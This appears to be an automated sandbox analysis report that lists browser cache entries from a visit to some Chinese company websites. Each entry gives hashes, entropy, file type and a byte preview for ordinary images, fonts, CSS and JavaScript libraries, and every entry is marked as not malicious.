Preview:	/* ::::: /css/style.css ::::: /.... { margin: 0px; padding: 0px; }..a { color: rgb(0, 0, 0); text-decoration: none; }...clear { clear: both; }...container { margin: auto; width: 1100px; }...top { text-align: center; }...top img { margin-top: 8px; margin-left: -3px; }...con { background: rgba(0, 0, 0, 0) url('') no-repeat scroll center top; width: 100%; }...game { width: 980px; margin: 10px auto auto; }...game .box { border: 3px solid rgb(232, 191, 18); width: 314px; float: left; margin-bottom: 9px; }...game .abb { margin-left: 9px; }...game .box .yellow { height: 54px; background: rgba(0, 0, 0, 0) url('') repeat-x scroll left top; width: 314px; }...game .box .yellow img { position: relative; top: 15px; left: 8px; }...game .box .yellow a { background: rgba(0, 0, 0, 0) url('img/game_btn.png') no-repeat scroll center top; height: 45px; width: 126px; float: right; padding-right: 10px; margin-top: 7px; display: block; }...game .box .yellow a:hover { background: rgba(0, 0, 0, 0) url('img/g

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5355
Entropy (8bit):	7.833770231720825
Encrypted:	false
SSDEEP:	96:b7PQNoXtfi9Fk8u7lwKOr14Ur1Cplet2OWyMejMRlb73d2/Dg7wdc++q:b1tfi9OVlm4ZAWypi1tcDg7w
MD5:	DD9652EBE592911F104F0E25D28E206A
SHA1:	F84BF0DE35FC239A2233201BAB9F68350E750147
SHA-256:	9D3100FE0F81BBC3CFC2ADEB7CC1F9861D472B77DC5080FCF5B6BB6957E11CDF
SHA-512:	7726CF80F733C35FE3010B050B630DD29F4E02170CC60CB9570AF5C626DE64B0A16C959CBEA0CF29C2F077449249B4F2C6C13AB41CBC60A2F6FB9058FBB5DEF0
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/p3.png
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:FDD628EECA0D11ED8FE7E29C7D7634E9" xmpMM:InstanceID="xmp.iid:FDD628EDCA0D11ED8FE7E29C7D7634E9" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>z(_....[IDATx...x....?H... .2lY...d...2..... X-.......Z....*Z.#.F6.@... C .hX.!.{..{.z{.P.....9On...;.{.g}_R..

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 300
Category:	dropped
Size (bytes):	162061
Entropy (8bit):	7.974582251451724
Encrypted:	false
SSDEEP:	3072:kW4NNuRHKOxC/DmufPzz76plgJXaBz7KT44Oz8vbM:kWuuRqUC/Dmuf7z7sqXaBz7KU4W8vbM
MD5:	4FB4AFE26198C3287FB8E1A05BE78270
SHA1:	7F2F7B226AEF1C717E47B49C29301EFA77568374
SHA-256:	238929B5DC9D4726FD89356E5A33FA365A42D4168943A3934CB7753170BCC7FA
SHA-512:	5FF12ADCEFC3BAD13C9130FCDD3A3D6C9917EE840BB63D31D5AD8901A770992B24A3A35BABD62D4B6BA96898C403A228F38A157FB672ADDEF9D1E40825679FDC
Malicious:	false
Reputation:	low
Preview:	GIF89a..,.....f5;J5....I`.L...~........Y+.....F#.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:81347db3-13f7-8145-888f-17176c92047e" xmpMM:DocumentID="xmp.did:420409A4BD1E11EEAFB8E840CB86B658" xmpMM:InstanceID="xmp.iid:420409A3BD1E11EEAFB8E840CB86B658" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ec2c09da-290e-5e47-829c-f6cf6a8857ad" stRef:documentID="xmp.did:81347db3-13f7-8145-888f-17176c92047e"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..........................................

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	65905
Entropy (8bit):	7.974953106243287
Encrypted:	false
SSDEEP:	1536:Go18cmWp9Rj/tc87YFNHsky6u6Ku5/ZqmQBOgsElHJkib9KJy:G4zm+a8UFhU6JK4qmBLQqibIs
MD5:	119F46CFC4B074B8F32BDD7159426A20
SHA1:	E78C6C249E762940AC7B02C7BB0B9B6B5B4098CA
SHA-256:	03FD887B3A4DF81D165F15EC7B0700456104B871DFF91F00615C6ABA9FC80A64
SHA-512:	1672312F010CCB629E2F21CAD3AA3A721C86BEF1CFC40203FB04B0AE59F09C28F0E53487678394CAC3984E55423A2F0B6069F2DF97E91B263BB5E0AC6FB3901D
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/news1.jpg
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:7A622689C2E311ED913597CCE55D884C" xmpMM:InstanceID="xmp.iid:7A622688C2E311ED913597CCE55D884C" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ADF7E5FABA8A11ED9E18B1F319AD2715" stRef:documentID="xmp.did:ADF7E5FBBA8A11ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..............................................................................................................................

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	142771
Entropy (8bit):	5.246428686655809
Encrypted:	false
SSDEEP:	3072:SJvgjudkXhYnafpoy9v8cIWyUaV4y+oGeJhyEfrNK/MxD:SJvgidkXhYnafpl9v8cIWybV4y+oGMA+
MD5:	CCCB4B52590ED6C90E1D013A0FF102C6
SHA1:	8B283496880A596E485777733C280DDE99447B08
SHA-256:	8EE93ED81501258E4A21354AD81B0687BE14C12E09EF0CD9E08EE6613EEC4D10
SHA-512:	533B95A13FFF4E91BF1D5D1C2D40D1D9B9B2A2FC32A74FEDEF54167D08C370803F5507A3228D2F318B3CC1A191C339855FD55A74CF46A73CE77E066B0B18466A
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/resources/assets/lib/js/swiper-bundle.min.js?v=0.574
Preview:	!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).Swiper=t()}(this,(function(){"use strict";function e(e){return null!==e&&"object"==typeof e&&"constructor"in e&&e.constructor===Object}function t(s,a){void 0===s&&(s={}),void 0===a&&(a={}),Object.keys(a).forEach((i=>{void 0===s[i]?s[i]=a[i]:e(a[i])&&e(s[i])&&Object.keys(a[i]).length>0&&t(s[i],a[i])}))}const s={body:{},addEventListener(){},removeEventListener(){},activeElement:{blur(){},nodeName:""},querySelector:()=>null,querySelectorAll:()=>[],getElementById:()=>null,createEvent:()=>({initEvent(){}}),createElement:()=>({children:[],childNodes:[],style:{},setAttribute(){},getElementsByTagName:()=>[]}),createElementNS:()=>({}),importNode:()=>null,location:{hash:"",host:"",hostname:"",href:"",origin:"",pathname:"",protocol:"",search:""}};function a(){const e="undefined"!=typeof document?document:{};ret

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32005)
Category:	downloaded
Size (bytes):	115513
Entropy (8bit):	5.449207100003689
Encrypted:	false
SSDEEP:	1536:cm8hlZwcODpyWF0HsoP9EmN2kH9mrYz5314PGrhIfGB5LCkGtT8ecOa:FhxGJdUYEOrGsCkGc
MD5:	96B2B8CDAFB31087E81484EAB45DB75D
SHA1:	2371B15ED263B172B16B6FC67233551A8511FA96
SHA-256:	31D0D0298D7FFD66C0F96402F42CB4255754B6E069FDB0BF7F912FC367B80115
SHA-512:	096ECA61245BB3A6DFC1EDF383F370E3A0980A1112DC1718ACD8D1A123AFDF96E0AE3B0BA923A006819EEFCDCF1969B61B8383A5F115ABE3E7C8E9B208E2C7D9
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/resources/assets/lib/js/TweenMax.min.js?v=0.574
Preview:	var _gsScope="undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this\|\|window;(_gsScope._gsQueue\|\|(_gsScope._gsQueue=[])).push(function(){"use strict";_gsScope._gsDefine("TweenMax",["core.Animation","core.SimpleTimeline","TweenLite"],function(a,b,c){var d=function(a){var b,c=[],d=a.length;for(b=0;b!==d;c.push(a[b++]));return c},e=function(a,b,c){var d,e,f=a.cycle;for(d in f)e=f[d],a[d]="function"==typeof e?e(c,b[c]):e[c%e.length];delete a.cycle},f=function(a,b,d){c.call(this,a,b,d),this._cycle=0,this._yoyo=this.vars.yoyo===!0\|\|!!this.vars.yoyoEase,this._repeat=this.vars.repeat\|\|0,this._repeatDelay=this.vars.repeatDelay\|\|0,this._repeat&&this._uncache(!0),this.render=f.prototype.render},g=1e-10,h=c._internals,i=h.isSelector,j=h.isArray,k=f.prototype=c.to({},.1,{}),l=[];f.version="2.0.2",k.constructor=f,k.kill()._gc=!1,f.killTweensOf=f.killDelayedCallsTo=c.killTweensOf,f.getTweensOf=c.getTweensOf,f.lagSmoothing=c.lagSmoothing,f.ticker=c.ticker,f.render=c.render,k

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	75671
Entropy (8bit):	7.667676186719648
Encrypted:	false
SSDEEP:	1536:CoA/+SbTDLDIJ7NvvcjjDFrQV3hJ+ZBG1lA8y4/SOkZ8PP8Jo/thSY:M2wLkN3eDFrQVxJ2E1lA8yn1Mt1
MD5:	1F531FC08C037BF429F9ECC4D199279E
SHA1:	F0CD33DB096074A9EC70E5B2E05332194228A8F3
SHA-256:	126CB994293ABBA66B6C4D87FA2160F49773B786EA58481FAB676E875DD4AC0E
SHA-512:	67447235C60A06A999CF9E6CFE915ECA0F0CE12A9A2A638ABF28903C4814496BA0D0E8D6F9B7DD670BD6AFD67CB4F2D14DF3273204D3E530B8275583336F0E38
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....vhttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:afa8a9e6-9716-4248-82b7-b3c757f3a879" xmpMM:DocumentID="xmp.did:522D01B5CA0711EDB4C9FC1FA8690CBB" xmpMM:InstanceID="xmp.iid:522D01B4CA0711EDB4C9FC1FA8690CBB" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4C8EA9FDCA0711EDABACA9E230A027E9" stRef:documentID="xmp.did:4C8EA9FECA0711EDABACA9E230A027E9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d......................................................

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 320 x 320, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	101751
Entropy (8bit):	7.9766999748162
Encrypted:	false
SSDEEP:	1536:RRpDmXUKJHRvFRvvel9J1JTtrd75ePGurtVXCYsihRf/ITI6K90sq844+zisXet7:uUKZRTvv8NTFeuu3CDigTI6Kz9sXbZC
MD5:	BACB10622BDA41C1677C5E6CF700E4F6
SHA1:	DE28BDDA76EB2102D04D97A14A7CD9353374AAC7
SHA-256:	1EFEBB08BC4564AA0805F87412485DB50F16D429110F9021686AA9A757C289FB
SHA-512:	3E3C906494A2620E098476E7C6FAAA4A6EF0648E718479B3A16CB80401C4F0308A4E4DB5F1C86DACFDED49595FEEE6E1CF8864C694506CC981B30EB4EF8D483D
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715308595_zbRpYtB3.png
Preview:	.PNG........IHDR...@...@.....B.2.....pHYs...#...#.x.?v....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2024-05-10T09:44:52+08:00" xmp:ModifyDate="2024-05-10T10:47:13+08:00" xmp:MetadataDate="2024-05-10T10:47:13+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:7dd203af-83f3-544c-9d7f-1f46b9710488" xmpMM:DocumentID="adobe:docid:photoshop:e5fad028-0281-4143-9e79-3d2142cc1316"

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	25828
Entropy (8bit):	5.428733662923783
Encrypted:	false
SSDEEP:	768:/7ky70BN+p3KUchZfMf/Y1T4KfRLpBAXUkvYTDUDT3:sUchJMfaTpfTuXUgb
MD5:	06CD3CCA974E10F62010BAA37EFA0197
SHA1:	58E573DBB63EF65F10BA42062D1CA5541F256BCE
SHA-256:	9F8B3FA6243B2310F71CC673C6764531B68DB27FAEF365C776A0A63ED9B16D3F
SHA-512:	F2F225EDE31944C943D692BC5F99AA84E7C65660259006B5AC2E95CC647ABC7BAE2E345A404A85EE18755530785FE6ACC4BDC5904897FB2A529B8E4A6E8EA81E
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/resources/assets/js/sichuang.shutime.js?v=0.574
Preview:	var shutime = {..percent: 0,..timers: "",..init: function(e) {...$("body").append('<div class="toast"><i></i><div><b></b><p></p></div></div>');...$('#nav-icon2').click(function() {....$(this).toggleClass('open');....$("header").toggleClass("open");...});....$(window).scroll(function() {....var scrollTop = $(window).scrollTop();....if (scrollTop > 0) {.....$("header").addClass("active")....} else {.....$("header").removeClass("active")....}...});....$(".nav ul li").hover(function() {....if ($(this).hasClass("not")) return;....$(".sub_header,.header").addClass("active");....$(".sub_header ul li").eq($(this).index()).addClass("active").siblings().removeClass(....."active");...}, function() {....$(".sub_header,.header").removeClass("active");...})....$(".sub_header ul li").hover(function() {....$(".sub_header,.header").addClass("active");...}, function() {....$(".sub_header,.header").removeClass("active");....$(".sub_header ul li").removeClass("active");...})...var _lock = false;...$(".men

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 225x225, components 3
Category:	dropped
Size (bytes):	4920
Entropy (8bit):	7.195676992099278
Encrypted:	false
SSDEEP:	48:CAvnGS1St8J3HYpEeBgUQ0bUCOqF/aAzSE98xPmwKI2FpcwuNBIajuLjhUbZk/O9:RLmGYpbB1QAz0xypcLD+U1vZCW
MD5:	22BEE551222772824AB963798409AE4D
SHA1:	B796699B821B52F44E94C34F1552C6812C7C5150
SHA-256:	96CA482AAED283A57D2EE35C29863A9EB983F6C2D2C3F94350CB56E1D78C4D1B
SHA-512:	53756DC9F0EAABED84FECCCDF3CD419520BB09AF1EFB5390F5B08CAD3C82F6C24C7D4535AEF93E6CF82ABD841D7B9DE5DBECCD6F82FC2DE6B6BE0A837691B224
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:2FFD7726D46911EDA0F68D6F4C082B28" xmpMM:InstanceID="xmp.iid:2FFD7725D46911EDA0F68D6F4C082B28" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D6450D7ACA1711ED9ABFA642A3631339" stRef:documentID="xmp.did:D6450D7BCA1711ED9ABFA642A3631339"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C....................................................................C...............................................

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 740 x 610, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3610
Entropy (8bit):	4.804885459971639
Encrypted:	false
SSDEEP:	96:FDR/6r94444v77777M4444v77777M4444v77777M4444v77777M4444v77777M4c:877777O77777O77777O77777O77777OH
MD5:	DD8E16BC461EDFE15C79429BF69D2C88
SHA1:	89996914020037C910F819BD297FB000657470E0
SHA-256:	C8C014D86CA16088F972D340FF90D993CAFC66A8D4A488E7430F6E72698AE532
SHA-512:	4B6D2B9CE4C15447FDE7CAED3EBCD3BA34C2055FB54EDBA30ADD2F9B414EB4B890CB7C2CAE70E6C23D0A9BBF3B1709CF8304F35FFE8A1442DDB3D6D076F70DEC
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681709920_iYSN17Wo.png
Preview:	.PNG........IHDR.......b......M.....tEXtSoftware.Adobe ImageReadyq.e<...miTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:afa8a9e6-9716-4248-82b7-b3c757f3a879" xmpMM:DocumentID="xmp.did:86E4273BDCE311EDA10CE6AB223496F4" xmpMM:InstanceID="xmp.iid:86E4273ADCE311EDA10CE6AB223496F4" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4C2BBCFCCECE11ED8CA89A6D4C87747D" stRef:documentID="xmp.did:4C2BBCFDCECE11ED8CA89A6D4C87747D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.."....CIDATx...1.....0...G..H..NR.........9

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	33363
Entropy (8bit):	7.975498304514047
Encrypted:	false
SSDEEP:	768:9QzU+r8Ic9L1o9H+dAHM6Bd3zpsAIVxCfPyGhXJkZ39:eg+rviLzdAHdv3d3IVkf6eM9
MD5:	B84792BF01492566F1B8A8E56FC12102
SHA1:	22E4F4845449FDA6FF58E889199AACF7562B554E
SHA-256:	6C92F1AF5698C427CFFB9C15960B9DC6055CC170A4247952312F7574BA16C300
SHA-512:	7334F7AA37CD28AF223D7089B20EDB2F0C6919746C1F20D2084A87BDD9AB6F3FB547B2E12A18E61E9AA530002D61F51B2F2AC76994F6AAE2BE358F413066A69F
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:5F8B0B3BC2DC11ED9AD091A99EF5DD75" xmpMM:DocumentID="xmp.did:5F8B0B3CC2DC11ED9AD091A99EF5DD75"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5F8B0B39C2DC11ED9AD091A99EF5DD75" stRef:documentID="xmp.did:5F8B0B3AC2DC11ED9AD091A99EF5DD75"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	72173
Entropy (8bit):	7.979990547566525
Encrypted:	false
SSDEEP:	1536:3nd8YQ9nGdC49MdbtfZKPh4Cf5FmWzVLSYBLOk/djkWMA+TTlX:3nd8YQY956AvTzYYByk/djByTTl
MD5:	7FF84AFFA1F8B6130DF415B5173B4BC6
SHA1:	3D452830D342ADDBEE8B19371F39ECBBE617D05A
SHA-256:	F2DFBAA050CA1F3C0C2D9BD8500A759A91DF0012AFFB80C74BD5E318802AF2E5
SHA-512:	BE00CBE48B43773EC898B644812A50AE01513B4F0DE7F19ACD32867AA07F0E438B087512097AD50BFC99CA75A49AD981295A5C750DF6CCB9EAF146E28F6F6674
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:4C3BD194C2E311EDBFEF9E34C0E3B900" xmpMM:InstanceID="xmp.iid:4C3BD193C2E311EDBFEF9E34C0E3B900" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D2BE3B72BA8511ED9E18B1F319AD2715" stRef:documentID="xmp.did:D2BE3B73BA8511ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C....................................................................C................................................

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 18536, version 1.0
Category:	downloaded
Size (bytes):	18536
Entropy (8bit):	7.986571198050597
Encrypted:	false
SSDEEP:	384:IhocXmE6eM871P7td/mcOKA454H2orQEONKrOqxw:f6WeL1P//9D54WCCKc
MD5:	8EFF0B8045FD1959E117F85654AE7770
SHA1:	227FEE13CEB7C410B5C0BB8000258B6643CB6255
SHA-256:	89978E658E840B927DDDB5CB3A835C7D8526ECE79933BD9F3096B301FE1A8571
SHA-512:	2E4FB65CAAB06F02E341E9BA4FB217D682338881DABA3518A0DF8DF724E0496E1AF613DB8E2F65B42B9E82703BA58916B5F5ABB68C807C78A88577030A6C2058
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......Hh..........H..............................Z..\|.`..J.T..<.....H..U..Z...x.6.$..0. ..t. ..I....p.0.VU.......1....AQ...d..x.....R..4.-.c..C$fUc.c..IX..@..~g.xs.....%...O...eJ.w..U.\|.......%..{.......U+..T#.S......`.n.....V.w.4..~P"..zk.%..../........=3...F.........V.FL..;Bc.........A.Uk.U1.b!Y.BH.DL...s.s...F.m.9a..GJ..1..#.`m5..DI..X5#.........B.Akm.....&..0...{.L.....G......-(.......O4.@3....=......f..l...$.....j..NO...e.Y.tJ2J>F.(.c....08..e...~....D2S7s:.G'Gm........!.7.........r.c.`,.....~.).......c>1.......Y.g2^...T-1.7./r./....>...g.ov@u.?.U.+._...'M..,.,g....!g..9."..yBF.#r+.Ps...%.d=....U...5.b.$:`.4R.II.<A....Q)....e...k.....M.8.z....+.....5}..F........F.d._...].~-](.Lf....Y..W....;-z...;. .@x._v../.%UIm....=s...P.C....G...^..Q.!g.!b._.P....at..?.}....t.z...O(..Y6..R.2.X....k.R..K.gw(.F.K?m..R...7....dj..7. .r.U..be.4......8.].w.B..B......Y..:..8.N..U...NEm...\.^q..f}.......{..6.". ...y-.Y...N.+.M E..`......R.$T

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5468
Entropy (8bit):	7.849997708525331
Encrypted:	false
SSDEEP:	96:b7ooPtyJ1J2pQ5/SfPWQ0PxURA/nPk87aM/lXLt/yaCP4mZ2:bhMJ2pSSfPkPH3ag0l4W2
MD5:	5EAA8165AD6636A46E725877FA3543C6
SHA1:	82B246AB8F1E6A6365914DEA5E12448BD74E1105
SHA-256:	A182418E42126AA479992FEB8FE89D0AF893E3BE4FDC730ECB83AD9E7ADF98CB
SHA-512:	3971EB3EBAF6C3539F0CC25BFA08A75A57D82332D460561EF1704CB8B1B82D704B46178300606B28C644EF2129EC430F6261339EDE7B1B3333B535B71BAC6417
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/p0.png
